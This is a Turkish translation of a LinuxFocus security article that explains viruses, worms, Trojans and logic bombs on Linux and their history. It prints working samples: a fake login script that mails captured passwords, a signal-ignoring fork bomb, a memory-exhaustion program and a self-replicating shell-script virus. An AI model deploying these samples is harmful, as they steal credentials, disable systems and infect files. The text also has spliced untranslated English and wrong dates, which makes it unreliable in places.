[LinuxFocus-icon]
Ev  |  Eriþimdüzeni  |  Ýçindekiler  |  Arama

Duyumlar | Belgelikler | Baðlantýlar | LF Nedir
[an error occurred while processing this directive]
convert to palmConvert to GutenPalm
or to PalmDoc

Christophe Blaess
tarafýndan Christophe Blaess (homepage)

Yazar hakkýnda:

Christophe Blaeses baðýmsýz bir havacýlýk mühendisidir. Bir Linux meraklýsýdýr ve bir çok iþini bu iþletim sistemini kullanarak yapmaktadýr. Linux yardým sayfalarýnýn çevirisini içeren ve Linux Dokümantasyon Projesi adýyla yayýnlanan çevirilere eþgüdüm saðlar.



Türkçe'ye çeviri:
Hüseyin Kaya <hkaya(at)be.itu.edu.tr>
Gülþen Taþkýn <gulsen(at)be.itu.edu.tr>
Sevda Üsküplü <sevda(at)be.itu.edu.tr>
D. Melih Narin <melih(at)be.itu.edu.tr>

Ýçerik:

 

Virüsler: herkesi endiþelendiren konu

virus

Özet:

Bu makale ilk önce güvenlik üzerine yazýlarýn yer aldýðý bir linux dergisinin Fransa özel sayýsýnda yayýnlandý. Editör, yazarlar ve çevirmenler dostça LÝnuxFocus dergisine bu özel sayýda yeralan bütün makaleleri yayýnlama hakký verdiler. Dolayýsýyla, LinuxFocus dergisi bu makaleleri Türkçe'ye çevirir çevirmez sizlere sunacak. Bu çalýþma içersinde yeralan herkese teþekkürler. Bu özet ayný kökene sahip tüm makaleler için yeniden oluþturulacak.

_________________ _________________ _________________

 

Önsöz

Bu makale Linux sisteminde saldýrgan yazýlýmlardan kaynaklanabilecek iç güvenlik problemlerini yeniden gözden geçirir. Bu çeþit yazýlýmlar (virüsler, solucanlar ve Truva atlarý gibi) insan müdahalesi olmaksýzýn zarara neden olabilirler. BÝz bu konuda, çeþitli zayýflýklardan bahsederek ve bu bedelsiz yazýlýmlarýn olumlu ve olumsuz yanlarý üzerinde durarak konuyu derinlemesine inceleyeceðiz.

 

Giriþ

Kullanýcý için genellikle kafa karýþtýrýcý olan, özellikle sýk sýk karþýlaþýlan çeþitli mekanizmalara dayanan dört tip belirli tehdit söz konusudur. Bunlar:

Bu saldýrgan yazýlýmlarý sýnýflandýrmak her zaman bu kadar kolay olmayabilir. Örneðin, bazý gözlemciler tarafýndan virüs olduklarý düþünülen fakat bazý gözlemciler tarafýndan da solucan olduklarý düþünülen ve ne olduklarý konusundaki son kararý karmaþýk hale getiren programlar vardýr. Hangi tehlikelerin Linux sistemine bir tehdit oluþturduðunu açýklamayý bu makalenin kapsamý olarak düþünmek temel deðildir.

Bu dört sorun zaten Linux sisteminin altýnda bulunmaktadýr genel inanýþa karþý olarak, elbette, virüsler Linux iþletim sisteminde DOS iþletim sistemine göre çok daha az yayýlma alaný bulabilmektedirler fakat mevcut tehlike ihmal edilmemelidir. Risklerin neler olduðuna bir göz atalým.

Potansiyel Tehditler  

Virüsler

Virüs, konuk programýn özüne yüklenmiþ, yeni bir çalýþtýrýlabilir dosyaya nüfuz ederek kendi kendini çoðaltma yeteneðine sahip bir kod parçasýdýr. Virüsler yetmiþli yýllarda, o dönemin programcýlarý "core war" adý verilen oyunu oynarken ortaya çýkmýþtýr. Bu oyun, Bell AT&T laboratuvarlarýndan gelmektedir [MARSDEN 00]. Oyunun amacý, sýnýrlý bir bellek alaný içersinde küçük programlarýn paralel bir þekilde koþturularak birbirlerini ortadan kaldýrmalarýný saðlamaktý. Ýþletim sistemi, yarýþmacýlarý öldürme amacýyla karþýlýklý saldýrýlara izin vererek programlarýn bellek alanlarý arasýnda koruma saðlamadý. BÖylece, yarýþmacýlarýn bazýlarý olasý en geniþ bellek alanýný '0' ile bombalayarak, bazýlarý da sürekli bir þekilde adres boþluklarýna hareket ederek rakibin kodunu yeniden yazmayý ümit ediyorlardý ve bazen birkaçý iþbirliði ile güçlü olan düþmaný elemeye çalýþýyorlardý.

Oyun için uygulanan algoritmalar, özellikle varolan makinalarýn birçoðunda varolan emülatör boyunca çalýþtýrýlan, "red code" (kýrmýzý kod) konusu ile ilgili yaratýlan algoritmalar, makina diline çevrildi. Oyuna olan ilgi Life of Conway oyununa, fraktallara genetik algoritmalara duyulan coþku gibi daha fazla bilimsel bir meraktý.

Ancak, core war ile ilgili sonraki makaleler Scientific American [DEWDNEY 84] dergisinde yayýnlandý, kaçýnýlmaz olan olmalýydý ve bazý insanlar ilk önce Apple bilgisayarlar ve daha sonra da MacIntosh ve PC'lerde özellikle disket boot kesimine ya da çalýþtýrýlabilir dosyalara adanmýþ kod parçalarý yazmaya baþladýlar.

MS DOS iþletim sistemi biçimleri (formatlarý) iyi bilinen statik çalýþtýrýlabilir dosyalar, bellek koruma eksikliði, dosya ulaþým izinlerinde güvenlik yokluðu, yýðýlmýþ yerleþik TSR programlarýnýn kullanýmý ile virüslerin çoðalmasý için bir tercih ortamýydý. Buna kullanýcýlarýn aklýnýn sýnýrýný, disketler üzerindeki çalýþtýrýlabilir programlarýn dosyalarýn kökenine dikkat edilmeksizin alabildiðine deðiþtirilmesini de eklemeliyiz.

En basit haliyle, virüs bir uygulamayý baþlatýrken fazla olarak çalýþtýrýlacak kod parçasýdýr. Bu zaman içinde virüs henüz içine girilmemiþ diðer çalýþtýrýlabilir dosyalarý arayacak, kendini bu dosyalarýn içine gömecek (büyük olasýlýkla esas programý önlem olarak deðiþtirmeyecek) ve programdan çýkacaktýr. Yeniden çalýþtýrýlabilir dosyalar uygulamaya konulduðunda bu iþlem süreci yeniden baþlayacaktýr.

Virüsler kendilerini otomatik olarak yinelemekte "weapon"'larýn geniþ gruplarýndan yarar saðlayabilirler. [LUDWIG 91] ve [LUDWIG 93]'in içinde DOS iþletim sistemi için virüslerin tanýmý, geçerli anti-virüs yazýlýmlarýnýn ötesinde kalarak saklanmanýn kodda oluþacak sürekli deðiþiklikler, sçkisiz þifreleme gibi üst düzey anlamlarýný kullanarak detaylý bir þekilde vermektedir. Hatta genetik algoritma yöntemlerini kullanarak virüslerle karþýlaþmak, onlarýn yaþamlarýný sürdürmelerini eniyilemek ve yeteneklerini yeniden oluþturmak olasýdýr. Benzer bilgiler çok ünlü bir makale olan [SPAFFORD 94] makalesinden bulunabilir.

Fakat þunu aklýmýzda bulundurmalýyýz ki; suni hayat deneyimlerinin ötesinde, virüsler yaygýn bir zarara neden olabilirler. Küçük bir kodun çoklu yinelenmesinin prensibi sadece disk ve bellekteki boþluðun ziyanýdýr. Virüsler, daha fazla zararlý olan mantýksal bombalar (truva atlarý konusunda incelenecek) gibi diðer varlýklar için bir destek -taþýma aracý- olarak kullanýlýrlar.

 

Truva atlarý ve mantýksal bombalar

Timeo Danaos et dona ferentes - Yunanlýlar'danhediye almaktan bile korkarým. (Virgile, the Aeneid, II, 49).

Kuþatýlmýþ Truva için dini bir teklif olarak sunulmuþ ve Yunan askerleriyle dolu kocaman bir tahtadan atý þehrin içine almak kötü bir fikirdi. Truva atý içine gizlice girmiþ askerler gece olduðunda þehre içerden saldýrmýþlar ve böylece Yunanistan Truva Savaþýný kazanmýþlardýr.

Ünlü "Truva atý" terimi bilgisayar güvenlik alanýnda öncelikli zararsýz uygulamalarý belirtmek için kullanýlýr. Virüslerde sözü edildiði gibi yýkýcý kodlar mantýksal bombalar içerenlerdir.

Mantýksal bomba çeþitli etkilere sahip, kasýtlý olarak zarar veren program parçalarýdýr.

Bazý durumlarda mantýksal bomba gizli bilgilerinin çalýnmasý için hedef gösterilmiþ özel bir sistemin özel dosyalarýný yýkmak ya da bir kullanýcýnýn kimliðini ele geçirerek güvenini sarsmak amacýyla yazýlabilir. Ayný bombayý baþka bir sistem üzerinde çalýþtýrmak zararsýz olabilir.

Mantýksal bomba içinde bulunduðu sistemi fiziksel olarak da yýkmaya çalýþabilir. Bunun olasýlýðý oldukça azdýr fakat bu türleri de bulunmaktadýr. (CMOS bellek silinmesi, modemde anlýk belleðin deðiþtirilmesi, yazýcýlarýn, tarayýcýlarýn ve hard diskin okuyucu kafalarýndaki ayarlarýna yapýlan yýkýcý hareketler...)

Patlayýcýlýk özelliði ile devam edelim, sözgelimi bir mantýksal bomba harekete geçmek için tetiklenmeye ihtiyaç duysun. Aslýna bakýlacak olursa, Truva atlarýný veya virüsleri kullanarak hemen yýkýcý birtakým iþlere giriþmek verimli deðildir. Mantýksal bombayý yerleþtirdikten sonra bir süe beklemek daha akýlcý bir yaklaþýmdýr. Böyle yapmakla, eðer bir virus sözkonusu ise, baþka sistemlere yayýlma ihtimalini artýrýr; eger sözkonusu bir truva atý ise, kullanýcýlarýn makinasýnda oluþan gariplikler için hemen yeni programdan süphe duymasýný engellersiniz.

Diðer zarar verici hareketler gibi, baþlama mekanizmasýda bir çok farklýlýklar gösterebilir: yüklemeden sonra on gün bekleme, bir kullanýcý heabýnýn silinmesi, klavya ve farenin 30 dakika için etkisizleþtirilmesi, yazýcý kuyruklarýnýn aþýrý dolmasý gibi. Ve daha bir çok ihtimal. En yaygýn Truva atlarý bugünlerde cok basmakalýp olarak görünse de ekran koruyucalardýr. Bu programlar çok çekici bir gürüntünün arkasýnda farkedilmeden bir çok zararlar verebilirler, özellikle mantýksal bomba yüklemeden yanlýzca bir saat sonra harekete geçecekse. Bu süre içinde kullanýcý çok büyük olasýlýkla bilgisayarýnýn baþýnda olmayacaktýr.

Meþhur bir diðer truva atý ise aþaðýda görülen ve bir kullanýcý giriþ ortamý hazýrlayan ve kullanýcý adý ve þifrelerini programý çalýþtýran kiþinin e-ileti adresine gönderen küçük bir kabuk programýdýr. Bu kabuk kullanýlmayan bir konsolda çalýþýrsa o konsoldan giriþ yapmaya çalýþan kullanýcýnýn þifresini öðrenir.

#! /bin/sh

clear
cat /etc/issue
echo -n "login: "
read login
echo -n "Password: "
stty -echo
read passwd
stty sane
mail $USER <<- fin
        login: $login
        passwd: $passwd
fin
echo "Login incorrect"
sleep 1
logout

Programýn çalýþtýktan sonra kapanmasý için exec komutu ile baþlatýlmasý gerekiyor. Kurban "Login incorrect" yazýsýný görünce þifresini yanlýþ girdiðini düþünecek ve normal yollarla bir daha sisteme girmeyi deneyecektir. Bu kabuðun daha geliþmiþ sürümleri X11 tipi baðlantýlarý simule edebiliyor. Böyle tuzaklara düþmemek için, bir konsoldan giriþ yapmadan önce yalancý bir kullanýcý adý ve þifre ile bir deneme yapmak akýlcý bir yaklaþým olacaktýr (bu belli bir noktadan sonra refleks haline gelecektir).

 

Solucanlar

And Paul found himself on the Worm, exulting, like an Emperor dominating the universe. (F. Herbert "Dune")

"Solucanlar" virüsler ile ayný prensipten gelir. Kendilerini kopyalama yöntemi ile çoðalmayý hedeflerler. Kendi özellikler olmamamsýna karþýn, bunlar mantýksal bombalar taþýyabilirler. Virüsler ile Solucanlar arasýndaki en önemli fark, Solucanlarýn virüsler gibi bir yayýlma aracý olarak programlarý kullanmamasý, bunun yerine að içinde kullanýlan elektronik ileti gibi servisleri yayýlma aracý olarak kullanmalarýdýr.

Solucanlarýn teknik seviyeleri biraz daha yüksektir; að servislerini saðlayan yazýlýmlarýn açýklarýný bularak kendilerini uzak makinaya kopyalarlar. En güzel örneði 1998 yýlýndaki "Internet Worm" adý verilen solucandýr.

Internet Worm mantýksal bomba içermeyen gerçek bir solucan olmakla birlikte, etkileri beklenmedik þekilde çok yýkýcý olmuþtu. Bu konu hakkýnda açýklayýcý bilgiyi [KEHOE 92] kaynaðýnda, ayrýntýlarý [SPAFFORD 88] veya [EICHIN 89] kaynaklarýnda bulabilirsiniz. Teknik olmayan fakat oldukça çarpýcý bilgiler içeren ise [STOLL 89] adlý kaynakta bulabilirsiniz.

Kýsaca anlatmak gerekirse bu program Cornell Üniversitesinde öðrenci olan Robert Morris Jr tarafýndan yazýlmýþtý. Bu kiþi að protokollerinin güvenlik sorunlarýyle ilgili yazdýðý bir makale ile zaten tanýnýyordu [MORRIS 85]. NSA'nýn bir kolu olan NCSC kurumunda bilgisayar güveliði ile sorumlu kiþinin oðluydu. Program 1998 yýlýnýn Kasým ayýnýn ikinci günü öðleden sonra hayat geçmiþti ve Internet'e baðlý birçok sistemin durmasýna yol açmýþtý. Program birkaç aþamada çalýþmýþtý:

  1. Solucan bir bilgisayarý ele geçirildikten sonra, að içerisine sýzmaya çalýþýyordu. Adres bilgilerini almak için solucan sistem dosyalarýný okuyor ve að bilgilerini öðrenmek için netstat benzeri programlarý kullanýyordu.
  2. Daha sonra, kullanýcý hesaplarýný ele geçirmeye çalýþýyordu. Bunu yapmak için ise bir sözlük içindeki kelimeler ile þifre dosyasýný karþýlaþtýrýyordu. Ayrýca þifreleri bulmak için, kullanýcý adýnýn deðiþik varyasyonlarýný deniyordu (tersi, tekrarý gib). Bu aþama bir açýk üstüne kuruluydu: þifreler kodlanmýþ bir þekilde herkesin okumasýna açýk bir dosyada duruyordu (/etc/passwd), böylece çok basit seçilmiþ þifreleri tahmin ediyordu. Bu ilk açýk þifrelerin shadow adlý ayrý bir dosyada tutulmasýyla daha sonra kapatýldý.
  3. Eðer program kullanýcý hesaplarýna girmiþse, doðrudan eriþimi olan komþu bilgisayarlara ~/.rhost ve /etc/hosts.equiv dosyalarýný kullanarak ulaþmaya çalýþýyordu. Eger ulaþýrsa rsh komutunu kullanarak komþu bilgisayarda komutlar iþletiyordu. Böylelikle kendisini baþka bir makinaya kopyalýyor ve döngü böyle sürüpü gidiyordu.
  4. Yukarýdaki gibi açýklar bulamazsa, ikinci bir açýk kullanýlýyordu:fingerd 'buffer overflow' açýðý. (Güvenlik ile ilgili seri makalelere ir göz atýn: Avoiding security holes when developing an application - Part 1, Avoiding security holes when developing an application - Part 2: memory, stack and functions, shellcode, Avoiding security holes when developing an application - Part 3: buffer overflows.)
    Bu açýk uzak makinada program çalýþtýrma imkaný veriyordu. Böylece solucan kendisini yine baþka bir makinaya kopyalýyordu. Aslýnda bu yöntem bazý iþlemciler için geçerliydi.
  5. Sonuncu olarak, üçüncü bir açýk kullanýlmýþtý: sendmail adlý yazýlýmýn bir özelliði kullanýlýyordu. Bu özelliðin normalde kullanýlmamasý gerektiði halde sistem yöneticileri genellikle bunu ihmal ediyordu.

Belirtmek gerekir ki, bu solucan uzak bir bilgisayara komutlar gönderme imkaný bulduktan sonra kendisini o makinaya kopyalama iþlemi oldukça karmaþýktý. Küçük bir C programýnýn ilk önce taþýnmasý, orada derlenmesi ve çalýþtýrýlmasý gerekiyordu. Daha sonra bu program iki bilgisayar arasýnda baðlantý kuruyor ve solucanýn taþýnmasýný saðlýyordu. Solucanýn önceden derlenmiþ çalýþtýrýlabilir dosyalarý bir çok platfrom için vardý (Vax ve Sun) ve test edilmiþti. Ayrýca, solucan iz býrakmadan kendisini çok zekice saklýyordu.

Ne yazýk ki, bilgisayarlarýn tekrar ve tekrar ele geçirilmesini engelleyem mekanizma beklendiði gibi iyi iþlemedi ve mantýksal bomba taþýmayan Internet 88 solucaný yýkýcý etkisi gösterdi. Bunda iþ yükü aðýr bilgisayarlarýn da bu solucandan etkilenmesinin büyük payý oldu (özellikle elektronik ileti taþýnmasýný saðlayan ve haberleþmeyi saðlayan bilgisayarlar gibi).

Bu solucanýn yazarý bir süre için hapishaneye girdi.

Solucanlara, çok karmaþýk olduklarý için, genellikle sýkça rast gelinmez. Solucanlar ünlü "ILoveYou" benzeri elektronik iletiler ile gönderilen virüsler ile kariþtýrýlmamalýdýr. Bu virüsler genellikle Basic ile yazýlmýþ ileti açýlýnca çalýþan basit makrolardýr. Bunlar sadece bazý iþletim sistemlerinde ve ileti okuyucu programlarýn çok basit bit þekilde ayarlandýðý sistemlerde çalýþýrlar. Bu programlar Truva atlarýna daha çok benzerler çünkü kullanýcýn bunlarýn baþlayabilmesi için bir iþ yapmasý gerekir.

 

Arkakapýlar

Arkakapýlar Truva atlarý ile karþýlaþtýrýlabilir ama ayný deðillerdir. Bir arkakapý üstün bir kullanýcýya bir yazýlýmý deðiþtirme imkaný verir. Oyunlarda sýkça kullanýlan daha çok kaynak ve üst seviyelere geçmeye yarayan ve cheat codes denilen hilelere benzerler. Fakat bu baðlantý onayý (connection authentication) veya elektronik ileti benzeri uygulamalar için de geçerlidir, çünkü bu uygulamalar da üreticisinin belirlediði gizli bir geçiþe olanak verebilir.

Bazý kolaylýklar saðlamasý açýsýndan, yazýlýmcýlar ürettikleri yazýlýmlar için küçük kapýlar býrakabilirler. Bazen bu birtakým kullanýcýlar için öntanýmlý þifreler olabilir (system, admin, superuser, gibi). Bunlar genellikle belgeler içinde yer almadýklarý için yazýlýmcýlar tarafýndan olduklarý gibi býrakýlýr.

"Wargame" adlý film içinde geçen ve sisteme giriþ saðlayan deðiþik giriþ kodlarýný hatýrlayýn. Daha yakýn geçmiþten örnekler vermekte mümkün [THOMPSON 84]. Unix'in babalarýndan Ken Thompson'ýn yýllar önce geliþtirdiði gizli giriþ sistemini açýklýyor:

Buna karþý ne yapýlabilir? Aslýnda hiçbir þey! Yapýlacak tek þey sistemi yeni baþtan kurmak. Sistemi yeniden kurmadýktan sonra, iþletim sistemine, derleyeciye kýsacasý hiçbirþeye güvenemezsiniz. Kaynak kodlarý tamamen elinizde olsa bile uygulamalarýn temiz olduðuna kesin emin olamazsýnýz.

 

Ve, Linux Üzerinde ?

Herhangi bir sistemin bazý ana risklerinden sözettik. Þimdi de serbest yazýlým ve Linux üzerinde ki olasý tehditlere bir göz atalým.

 

Mantýksal Bombalar

Ýlk önce, mantýksal bir tuzaðýn Linux makinasý üzerinde çalýþtýrýldýðýnda, sistem üzerinde ki etkilerini inceleyelim. Besbelli, bu durum kullanýcý haklarýna ve istenilen etkiye baðlýdýr.

Gizli bir dosyanýn okunmasý yada sistem dosyasýnýn herhangi bir tahribata uðramasý durumunda, iki türlü durum söz konusudur. Eðer bomba, root birimi altýnda kendi kendine çalýþýrsa makina üzerinde ki bütün gücü ele geçirir. Buna her partisyonun silinmesi ve yukarýda sözü edilen hardisk üzerindeki olasý tehlikeleri de ekleyebiliriz. Eðer bomba herhangi bir birim üzerinde uygulaniyorsa, hakký olmayan bir kullanýcýdan daha az yikici olur. Sadece bu kullanýcýya ait verileri yok edecektir. Bu durumda, herkes kendine ait olan dosyalarýný korumalýdýr. Dikkatli bir sistem yöneticisi root olarak girdiðinde, bu hesap altýnda ki mantiksal tuzaklarýn sisteme girme olasýlýðýný azaltmak için birçok sorumluluðu vardýr.

Linux sistemi özel veriye eriþim ve hardisk eriþiminde oldukça iyi bir korumaya sahiptir. Ancak saldýlarý birçok kaynak kullanarak yapýlan saldýrýlarý önleme konusunda oldukça hassastýr. Örneðin, aþaðýdaki C programýný, normal bir kullanýcý olarak bile sisteme girdiðinizde durdurmak zordur. Eðer kullanýcý tarafýndan kullanýlan iþlemci sayýsý sýnýrlanmadýysa, iþlemci tablosundan herturlu giriþ yokedilecek ve programý oldurmeyi deneyen herhangi bir baðlantý önlenecektir.

  #include <signal.h>
  #include <unistd.h>

  int
main (void)
{
  int i;
  for (i = 0; i < NSIG; i ++)
    signal (i, SIG_IGN);
  while (1)
    fork ();
}

Kullanýcýlarýn iþlemci kullanma sayýsý üzerinde bir kýsýt ( setrlimit() ile sistem çaðýrma ve ulimit kabuk fonksiyonu) uygularsaniz, bu tür programlarýn ömrü daha kýsa olacaktýr. Fakat, bunlar sadece sistemin ulaþýlmaz olduðu sürenin bazý aralýklarýndan sonra etkili olur.

Ayný baðlantýda, aþaðýdaki program ulaþabildiði bütün belleði kullanýlýr ve döngüler, merkezi iþlem birimleri çevrimlerini harcar. Böylece diðer iþlemciler de tamamen harcanir.

  #include <stdlib.h>

  #define LG      1024

  int
main (void) {
  char * buffer;
  while ((buffer = malloc (LG)) != NULL)
     memset (buffer, 0, LG);
  while (1)
    ;
}

Genellikle, bu program en küçük çekirdekdeki sanal bellek yönetim mekanizmasý tarafýndan otomatik olarak yok edilir. Fakat bundan önce, daha fazla belleðe ihtiyaç duyan diðer iþlemler hemen ardýndan çekirdek tarafýndan yok edilir (Örneðin, X11 uygulamalarý ). Ayrýca, belleðe ihtiyaç duyan diðer bütün iþlemciler de ayný þekilde olacaktýr.

Að özelliklerini sýralamanýn dýþýnda tutmak oldukça basittir, overloading the corresponding port with continued connection requests. Çözüm oluþumdan kaçmaktýr. Fakat bu oluþumlar genellikle sistem yöneticileri tarafýndan uygulanmaz. Linux altýnda çok dikkatli olmak gerekir. Hatta mantýksal bobma normal bir kullanýcý tarafýndan gönderileliyorsa kendine ait olmayan dosyalara zarar vermemese bile bu durum son derece rahatsýzlýk verici býr durumdur. Aþ servisinde ve sisteme kötü bir gerilim yüklemek için birkaç fork(), malloc() and connect() komutlarýný birleþtirerek bir program oluþturmak yeterli olacaktýr.

 

Virüsler

Konu: Unix Virüsleri

BiR UNIX ViRÜSÜ ALDINIZ

Bu virüs birtakým kurallara göre iþler.

Eðer Lunix yada Unix kullanýyorsanýz,lütfen bu iletiyi arkadaþýnýza gönderiniz
ve seçkisiz olarak bir kaç sistem dosyasýna zarar veriniz.

Yaygýn bir fikire raðmen, virüsler Linux altýnda bir tehdit unsuru olabilirler. Linux altýndaki bir virusun yayýlmak için yararlý bir yer bulamayacaðý da ayrý bir gerçektir. ilk olarak, bir makinanýn phase of infesting ne bir göz atalým. Virüs kodu burada çalýþmak zorundadýr. Bunun anlamý baþka bir sistemden bozulmuþ dosyalarýn kopyalanmýþ olduðudur. Linux dünyasýnda yaygýn uygulama, kullanýcýya bir uygulama saðlamak ve ona çalýþtýrýlabilir dosyayý göndermek yerine URL adresinin nerede olduðunu göstermektir. Bu çabuk bir þekilde denetlenecek olan bir resmi bir yöreden gelen bir virus anlamýna gelir. Bir kere bir makinaya virüs bulaþtýysa, virüsün yayýlabirliðini denetlemek için önceden derlebilen uygulamalar için daðýtýk bir düzenek kullanýlmalýdýr. Gerçek þu ki, serbest yazýlým dünyasýnda mantýksal bir bomba için, çalýþtýrýlabilir dosyalar iyi bir iletiþim aracý deðildir.

Besbelli, yazma haklarýna sahip olan kullanýcýnýn dosyayý nerede çalýþtýrdýðýna baðlý olarak sadece bozuk bir uygulama dosyalara yayýlabilir. Deneyimli bir sistem yöneticisi herhangi bir iþlem için sadece root olarak Concerning the spreading within a machine, obviously a corrupt application only can spread to files for which the user running it, has writing rights. The wise administrator only working as root for operations really requiring privileges, is unlikely running a new software when connected under this identity. Apart from installing a Set-UID root application infected with a virus, the risk is then quite reduced. Normal bir kullanýcý bozulmuþ bir dosyayý çalýþtýrdýðýnda, virüs sadece bu kullanýya ait olan dosyalar üzerinde etkin olabilir.

Virüsler Unix bir sistem için çok uzun zamandir bir ütroyaydi. Bunun nedeni iþlemcilerin farklýlýðý (esembler dilleri) ve önceden derlenebilen kodlarý sýnýrlayan kütüphanelerdir. Bugün, bu gerçek deðildir ve GlibC 2.1 i386 bir iþlemci için Linux da derlenebilen ELF dosyalarýna etki eden bir virüs bir çok hedef bulabilir. Ayrýca, virüsler, onu çaliþtýran bir anaç' a (host) baðlý bir dilde yazýlabilirler. Örneðin, burada kabuk betiði için bir virüs olsun. Virüs, çalýþtýðý dizin altýnda bulunan bütün kabuk betiklerinin içine girmeyi denemektedir. Ayný betiðin bir kereden fazla bir zarara uðramasýndan kaçýnmak için, virüs ikinci seferde bozulmuþ yada aþýlanmýþ yorumunun bulunduðu sýrayý ihmal eder.

#! /bin/sh
# infected

( tmp_fic=/tmp/$$
candidates=$(find . -type f -uid $UID -perm -0755)
for fic in $candidates ; do
        exec < $fic
        # Let's try to read a first line,
        if  ! read line ; then
                continue
        fi
        # and let's check it is a shell script.
        if [ "$line" != "#!/bin/sh" ] && [ "$line" != "#! /bin/sh" ] ; then
                continue
        fi
        # Let's read a second line.
        if ! read line ; then
                continue
        fi
        # Is the file already infected or vaccinated ?
        if [ "$line" == "# vaccinated" ] || [ "$line" == "# infected" ] ; then
                continue
        fi
        # Otherwise we infect it: copy the virus body,
        head -33 $0 > $tmp_fic
        # and the original file.
        cat $fic >> $tmp_fic
        # Overwrite the original file.
        cat $tmp_fic > $fic
done
 rm -f $tmp_fic
) 2>/dev/null &

Virüs kendini yada eylemþnþ saklama durumunda deðildir. Beklenen þu ki, orjinal betik kendi iþini yaparken virüs arkaplanda iþlemlerini yapar. Özellikle, find. ile find / deðiþtirme durumunda. Bu programýn basitliðine raðmen, onu kontrolünü elden kaybetmek son derece kolaydýr. Özellikle de sistem eðer isteðe göre birçok kabuk betikleri içeriyorsa.

Tablo 1, Linux altýnda en iyi bilinen, virüsleri içermektedir. Bunlarýn hepsi, dosya baþlýklarý ve kalan orjinal kodtan geriye doðru hareket etmesinden sonra, çalýþtýrýlabilir ELF dosyalarýný bozar. Aksinden söz edilmediði sürece, virüsler sistem dizinlerindeki potansiyel hedefleri tararlar. Bu tablodan, Lunix altýndaki virüslerin , çok alarm vermemelerine raðmen,(zarar verici virüsler olana kadar) kayda deðer olmayan virüsler olduðunu düþünebilirsiniz..

Tablo 1 - Linux Altýnda ki Virüsler
isim Mantýksal Bomba Notlar
Bliss Görünürde aktif deðil Dosyanýn otomatik arýtýlamsý --bliss-disinfect-files-please ile saðlanabilir.
Diesel Etkisiz  
Kagob Etkisiz Zarar verici programý çalýþtýrmak için geçici bir dosya kullanýr.
Satyr Etkisiz  
Vit4096 Etkisiz Sadece geçerli dizinde ki dosyalarý bozar.
Winter Etkisiz 341 bitlik bir virus kodudur. Sadece geçerli olan dizinde ki dosyalarý bozar.
Winux Etkisiz Bu virüs iki farklý kod taþýr ve ELF Linux dosyalarý kadar ve Windows dosyalarýna da zarar verir. Ancak, onun yayýlmasýný azaltan ve saklandýðý yerden diðer partisyonlara ulaþmak olasý deðildir.
ZipWorm Windows ve Linux üzerinde bulduðu sýkýþtýrýlmýþ dosyalarýn içine "troll" dokumaný yerleþtirir."troll"= isveç mitodolojisinde bir cin  

Zararsýz bir virüs olan "Winux" , Windows yada Linux altýnda çalýþmak için yayýlabilir. Bu özelliði tehlikeli olmamasýna raðmen yapabileceklerinin kanýtý olarak karþýmýza çýkar . Bu tip yapýlar bir bölümden (partition) baþka bir bölüme sýçrayabilir , ayrýþýk bir aðý Samba ve benzeri sunucular kullanarak istila edebilir.

Eðer bölüme , virüs olan Windows sisteminden eriþilirse, Linux koruma mekanizmasý etkisiz hale gelir . Ayný þekilde Linux altýnda alýnan her önlem ; Windows bölümünden yapýlan geri yüklemelerde (reboot) etkisiz kalýr . Bu tip problemler iki iþletim sistemi içeren her makinada görülür ve genel koruma düzeyi en güçsüz iþletim sistemine göre kuruludur . Bu sorunun tek çözümü vardýr , o da ; herhangi bir Windows uygulamasý aracýlýðýyla Linux bölümüne eriþmeyi engellemektir . Bu yaklaþým henüz fazla yaygýnlaþmamýþtýr ve Linux makinalar için tehlike arz etmektedir .

 

Truva Atý (Trojan horses)

Truva atlarýda en az virüsler kadar tehlikelidir ve kullanýcýlar için endiþe vericidir . Virüs tarafýndan taþýnan Logical Bomb un aksine Truva atýndaki geliþtiricisi tarafýndan yerleþtirilmiþtir . Ücretsiz yazýlým dünyasýnda ; ürün yazarýndan son kullanýcýya geçerken bir yada iki aracýdan geçer. Eðer bir Truva atý farkedilirse suçluyu bulmak zor deðildir.

Bir uygulamanýn kaynak koduna sahip olmak ve derlemek güvenli olmasýný garanti etmez. Örneðin ; zaralý bir logicalbomb bir yapý dosyasýna (./configure, en az 2000 satýr uzunluðunda) kendini saklayabilir ve en son yükleme aþamasýnda aktif hale gelir .

Windows altýndaki virüs ve truva atýnýn bir önemli zararýda yardým sayfalarýndaki (readme dosyalarý) makrolarla beraber ortaya çýkar . Þimdilik Linux kullanýcýlarýnýn bundan korkmasý yersizdir çünkü bu tip makrolar Linux altýnda yorumlanamazlar .

Truva atlarýnýn bir özelliðide zararsýz olmasýna raðmen kullanýcýyý oldukça güç durumda býrakmasýdýr. Örneðin Usenet de sýkýþtýrýlmýþ dosyalar kendi kendine büyür ve diski doldurur , bazý postscript dosyalarý yorumlayýcýyý (interpreter) kitler ve CPU zamanýný boþa kullanýr . Bu tip örnekler zararsýzdýr . Tek yaptýklarý kullanýcýyý çileden çýkartmak ve zamanýndan çalmaktýr.

 

Kurtçuk (Worms)

Kurtçuklar 1988 yýlýnda Linux yokken ortaya çýkmýþtýr . O zamanlar ücretsiz yazýlýmlarýn kaynak kodlarýna eriþerek zayof yönleri rahatça bulunabiliyordu. Kaliteli bir kurtçuk yazmak karmaþýk olduðundan Linux altýnda etkili olanlarýn sayýsý azdýr . Tablo 2 de yaygýn olanlarýndan bazýlarý gösterilmiþtir .

Kurtçuklar að sunucusunun zayýflýklarýndan istifade eder . Teorik olarak Internete baðlý workstation lardaki risk sunuc aracýlýðýyla sürekli baðlý olan sistemlere göre daha azdýr. Baðlantý seçeneklerinin günden güne artmasý ( Kablo, DSL,T1,T3,...vs.) ve að servislerinin (HTTP,FTP,...vs.) kullanýlmasý hýzla herkes için tehlike oluþturmaktadýr .

Table 2 - Linux Altýndaki Kurtçuklar
Ýsim Zayýflýlarý Notlar
Lion (1i0n) bind Sistem bilgisini Çin deki bir elektronik posta adresine gönderir.
Ramen lpr, nfs, wu-ftpd index.html dosyasýný deðiþtirir.
Adore (Red Worm) bind, lpr, rpc, wu-ftpd Sisteme arka kapý yükler ,elektronik postayla Çin ve Amerik ya bilgi gönderir. Ýþlemlerin saklamak için ps modifiyeli versiyonunu yükler.
Cheese Lion gibi Lion tarafýndan açýlan arka kapýlarý bulur ve kaldýrýr.

Kurtlarýn yayýlma zamaný sýnýrlýdýr . Varlýklarýný devam ettirebilmek için kendilerini bir sistemden diðerine kopyalamalarý gerekir . Hedef uygulamayý hýzla güncellemek yayýlmasýný önler .

 

Arka kapý (Backdoors)

